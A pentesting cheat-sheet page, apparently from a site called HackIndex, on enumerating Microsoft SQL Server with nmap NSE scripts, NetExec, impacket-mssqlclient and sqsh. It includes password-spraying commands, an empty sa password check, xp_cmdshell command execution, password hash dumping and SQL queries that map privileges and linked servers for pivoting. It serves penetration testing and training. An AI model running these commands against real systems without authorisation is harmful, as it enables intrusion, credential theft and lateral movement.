Skip to content
HackIndex logo

HackIndex

MSSQL enumeration with nmap and netexec

4 min read Jan 18, 2026

Target TCP/1433 first. Confirm instance metadata, pull NTLM host/domain hints, validate creds fast, then enumerate accessible DBs/tables/config with authenticated scripts or an interactive client.

Service discovery and instance metadata (no auth)

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p ${PORT:-1433} --script ms-sql-info $TARGET_IP

What you expect:

  • Instance name, version/build, sometimes service details.

  • If this returns multiple instances, key off the instance name and port in later NSE script args.

SQL Browser discovery (UDP/1434). Useful for named instances and mapping instance → port.

┌──(kali㉿kali)-[~]
└─$ nmap -sU -p 1434 --script broadcast-ms-sql-discover

NTLM info leak over TDS (domain, hostname, OS build hints) when NTLM is enabled:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-ntlm-info $TARGET_IP

Quick auth checks (no creds / weak creds)

Check if sa accepts empty password:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-empty-password $TARGET_IP

Interpretation:

  • Any positive hit is immediate high impact. Move to authenticated enumeration with that credential set.

Credential validation and controlled spraying (nxc)

Single credential set:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u "$USER" -p "$PASSWORD"

Spray lists:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u user.txt -p pass.txt

Domain context (Windows auth paths tend to matter for MSSQL):

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -d "$DOMAIN" -u "$USER" -p "$PASSWORD"
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -d "$DOMAIN" -u user.txt -p pass.txt

What to do with results:

  • A clean auth success means you can switch to interactive query-based enumeration immediately.

  • If auth succeeds but actions fail later, it’s usually permission boundary, not connectivity.

Notice

CrackMapExec is legacy for most workflows now. Use nxc (NetExec) for the same “one binary, many protocols” style.

Authenticated enumeration with Nmap NSE

Use authenticated NSE when you want a quick, structured snapshot without fully logging in interactively.

Config + linked servers + DB list signals:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-config --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP

Which DBs this user can access:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-hasdbaccess --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP

Enumerate tables (permission dependent, can be noisy):

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-tables --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP

Dedicated Admin Connection (DAC) port discovery via SQL Browser:

┌──(kali㉿kali)-[~]
└─$ nmap --script ms-sql-dac --script-args mssql.instance-name=MSSQLSERVER $TARGET_IP

High-risk capability checks

These are privilege-dependent and can cross into exploitation. Keep them scoped and expect failures unless you’re sysadmin.

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-xp-cmdshell --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433},ms-sql-xp-cmdshell.cmd="whoami" $TARGET_IP

Hash dumping requires high DB privileges and is high signal if it works:

┌──(kali㉿kali)-[~]
└─$ nmap -p ${PORT:-1433} --script ms-sql-dump-hashes --script-args mssql.username="$USER",mssql.password="$PASSWORD",mssql.instance-port=${PORT:-1433} $TARGET_IP

Interpretation:

  • xp_cmdshell success means you have OS-level execution via SQL Server context. That’s no longer “enumeration” work.

  • Hash dump success means you’ve got a credential pipeline. Shift to cracking/offline validation and lateral movement planning.

Interactive enumeration (impacket-mssqlclient, sqsh)

Impacket is usually the fastest for Windows-auth flows.

Windows auth:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient "$DOMAIN/$USER:$PASSWORD@$TARGET_IP" -windows-auth

SQL auth:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient "$USER:$PASSWORD@$TARGET_IP"

sqsh (handy for quick querying from Linux):

┌──(kali㉿kali)-[~]
└─$ sqsh -S $TARGET_IP -U "$USER" -P "$PASSWORD"
┌──(kali㉿kali)-[~]
└─$ sqsh -S $TARGET_IP -U "$DOMAIN\\$USER" -P "$PASSWORD"

What you do next:

  • Confirm who you are and what server role you landed in.

  • Enumerate DBs, then focus on app-owned DBs and anything with secrets/config tables.

High-value SQL queries

Identity and privilege context:

SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin;
SELECT name, type_desc, is_disabled FROM sys.server_principals ORDER BY type_desc, name;

List databases:

SELECT name FROM master..sysdatabases;

Tables in current database:

SELECT TABLE_SCHEMA, TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE='BASE TABLE'
ORDER BY TABLE_SCHEMA, TABLE_NAME;

Database users/roles (current DB):

SELECT name, type_desc
FROM sys.database_principals
ORDER BY type_desc, name;

Linked servers (common pivot surface):

EXEC sp_linkedservers;

Interpretation that changes decisions:

  • is_sysadmin = 1 means you can usually enable/abuse server-level features (xp_cmdshell, agent jobs, linked server execution). That’s an exploitation page.

  • Linked servers present an immediate pivot graph. Enumerate their security context and whether RPC is enabled next.

References